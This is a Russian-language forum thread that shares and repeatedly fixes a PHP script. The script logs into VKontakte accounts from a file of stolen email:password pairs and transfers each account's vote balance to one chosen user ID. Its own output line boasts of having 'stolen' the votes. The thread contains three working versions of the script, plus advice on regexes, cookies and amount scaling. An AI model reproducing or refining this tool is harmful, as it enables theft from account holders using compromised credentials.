PHP: <?php set_time_limit(0); error_reporting(1); $to = "1"; // vote to id function curl($url,$post) { #echo "<br> $url | $post <br>\n"; $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; } function transfer_vote($email,$pass,$to){ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); $result = curl("http://vkontakte.ru/app614422",""); preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id); preg_match("/balance = (.*?);/i", $result, $vote); preg_match("/join(.*?)'>/i", $result, $appsl); preg_match("/app_id = (.*?);/i", $result, $app_id); preg_match("/app_hash = '(.*?)';/i", $result, $app_hash); preg_match("/auth_key\: \"(.*?)\"/i", $result, $auth_key); if ($vote['1'] >= "1") { echo "#Спиздили ".$vote['1']." VOTE...<br>"; flush(); @ob_flush(); $result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); $result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); echo "#Всё ok...<br>"; } else { echo "#Нету голосов на акке(<br>"; $result = false; } flush(); @ob_flush(); return $result; } echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "; $is_aks = is_file ("votes.txt"); if($is_aks != 1){ die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде [email protected]:password'); } $aks = file("votes.txt"); // AC file, login:pass foreach($aks as $k => $v){ $ak = explode(":", trim($v)); echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"; $vote_res = transfer_vote($ak['0'],$ak['1'],$to); echo "------------------------------------------<br>"; flush(); @ob_flush(); } ?> Скрипт позволяюший передавать голоса с базы аккаунтов на 1 ID Работает через это приложение http://vkontakte.ru/app614422 (не банят) Для работы требуються текстовик votes.txt в котором и будут аккаунты через : Единственный минус (для меня) не правельно показываеться статистика кто исправит буду блогодарен! [+]приложение на аккаунт не добавляеться ! Для локального запуска подойдет VertrigoServ
спс,но у меня ошибку выдает Warning: Missing argument 2 for curl(), called in D:\Program Files\VertrigoServ\www\test\index.php on line 41 and defined in D:\Program Files\VertrigoServ\www\test\index.php on line 5 в чем проблема может заключаться?
да ТС , кстати , что эт за ошибка может быть ??? Warning: Missing argument 2 for curl(), called in C:\Program Files\VertrigoServ\www\my\index.php on line 41 and defined in C:\Program Files\VertrigoServ\www\my\index.php on line 5 #Ошибка:Нет голосов наверное =(...
скрипт отлично работает с новой авторизацией... кстати приложение ни у кого не должно быть установлено! проверено! исправил скрипт ТС. исправил статистику, ошибку после каждого акка, прокомментировал отсутствие votes.txt Code: <?php set_time_limit(0); error_reporting(1); $to = "АЙДИ НА КОТОРЫЙ ПЕРЕДАВАТЬ ГОЛОСА"; // vote to id function curl($url,$post) { //echo "$url | $post <br>\n"; $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; function transfer_vote($email,$pass,$to){ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); $result = curl("http://vkontakte.ru/app614422",""); preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id); preg_match("/balance = (.*?);/i", $result, $vote); preg_match("/join(.*?)'>/i", $result, $appsl); preg_match("/app_id = (.*?);/i", $result, $app_id); preg_match("/app_hash = '(.*?)';/i", $result, $app_hash); preg_match("/auth_key\", \"(.*?)\"/i", $result, $auth_key); if ($vote['1'] >= "1") { echo "#Спиздили ".$vote['1']." VOTE...<br>"; echo "#Всё ok...<br>"; } else { echo "#Нету голосов на акке(<br>"; } flush(); @ob_flush(); $result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); $result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."&auth=".$auth_key['1']); return $result; } echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "; $is_aks = is_file ("votes.txt"); if($is_aks != 1){ die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде [email protected]:password'); } $aks = file("votes.txt"); // AC file, login:pass foreach($aks as $k => $v){ $ak = explode(":", trim($v)); echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"; $vote_res = transfer_vote($ak['0'],$ak['1'],$to); echo "------------------------------------------<br>"; flush(); @ob_flush(); } ?>
Я не понимаю, ну никак! preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id); И у вас это работает?! Да, я поднимаю тему, я немогу врубиться, во всех скриптах используются регулярки "option", "value" хотя у вконтакта option: "value" Не работает: preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id); Работает: preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id); Или вконтакт для россии выдаёт "option", "value" а для других стран oprion: "value" или как это понимать, потмоучто везде вижу эти ошибки в регулярках, но начал подохревать что у вас "option", "value" Если кто меня понял, ответьте, у вас "option", "value" или option: "value"
Я не знаю у кого этот скрипт работает... preg_match("/viewer_id=(.*?)&/i", $result, $user_id); preg_match("/auth_key=(.*?)&/i", $result, $auth_key); так тоже можно. в скрипте ещё при передаче $vote['1'] нужно умножить на 100. стата тут глюченная..
Да я говорю имено про эту регулярку preg_match("/viewer_id\", \"(.*?)\"/i", $result, $user_id); Она расчитана на текст "viewer_id", "123456" Но у меня на всех акках отображается так viewer_id: "123456" Но я уже видел и исправлял минимум 5 скриптов с такими регулярками, и что-то мне кажется что в россии видно "viewer_id", "123456" а для других стран viewer_id: "123456" Лан, забейте, я вод себя всё переписал и гуд там ещё кстате где он запрашивает api.vkontakte.fi это надо перенести после if ($vote['1'] >= "1") ато лищний трафф
Ну вот я под себя переделал, но ещё раз говорю, у меня option: "value" PHP: <?php set_time_limit(0); error_reporting(1); $to = "1"; // vote to id function curl($url,$post) { #echo "<br> $url | $post <br>\n"; $cfile = 'cookies.txt'; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile); curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, 1); $result = curl_exec($ch); curl_close($ch); return $result; } function transfer_vote($email,$pass,$to){ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass"); $result = curl("http://vkontakte.ru/app614422",""); preg_match("/viewer_id\: \"(.*?)\"/i", $result, $user_id); preg_match("/balance = (.*?);/i", $result, $vote); preg_match("/join(.*?)'>/i", $result, $appsl); preg_match("/app_id = (.*?);/i", $result, $app_id); preg_match("/app_hash = '(.*?)';/i", $result, $app_hash); preg_match("/auth_key\: \"(.*?)\"/i", $result, $auth_key); if ($vote['1'] >= "1") { echo "#Спиздили ".$vote['1']." VOTE...<br>"; flush(); @ob_flush(); $result = curl("http://vkontakte.ru/apps.php?act=a_settings","app_id=614422&app_hash=".$app_hash['1']."&cn=0&caf=0&caph=0&caa=0&add=".$vote['1']."&withdraw=0"); $result = curl("http://api.vkontakte.fi/votes.php?uid_from=".$user_id['1']."&uid_to=".$to."&votes=".$vote['1']."00&auth=".$auth_key['1']); echo "#Всё ok...<br>"; } else { echo "#Нету голосов на акке(<br>"; $result = false; } flush(); @ob_flush(); return $result; } echo "<style>body{background-color:#2B2F34;color:#C1C1C7;}input{color:#cccccc;b order:1px solid #404040;background-color:#221;}red{color:#FF0000}</style> "; $is_aks = is_file ("votes.txt"); if($is_aks != 1){ die('Нету файла с аккаунтами! Создайте файл votes.txt с аккаунтами в виде [email protected]:password'); } $aks = file("votes.txt"); // AC file, login:pass foreach($aks as $k => $v){ $ak = explode(":", trim($v)); echo "<b>--Логинимся--<br>E-mail:".$ak['0'].";password:".$ak['1']."<br>"; $vote_res = transfer_vote($ak['0'],$ak['1'],$to); echo "------------------------------------------<br>"; flush(); @ob_flush(); } ?>
ничё домножать не надо, я тоже думал что надо но оно отдаёт всё верно) проверял дык он у меня отлично работает, та версия что я немного исправил может -=MeDved=-, а может и нет...
Да нет, надо! Если на акке 1 голос, придёт 0.01 надо умножить на 100 и придёт 1 как надо У него там траблы с куками были Если у вас пишет нет голосов, даже если они есть, создайте cookies.txt с правами 777 И уберите curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); оно жрёт лишний траф, и оно там ненадо И error_reporting(1); вобще бред какой-то (не, ну может не бред, я значения констант незнаю) Замените на error_reporting(E_ALL ^ E_NOTICE);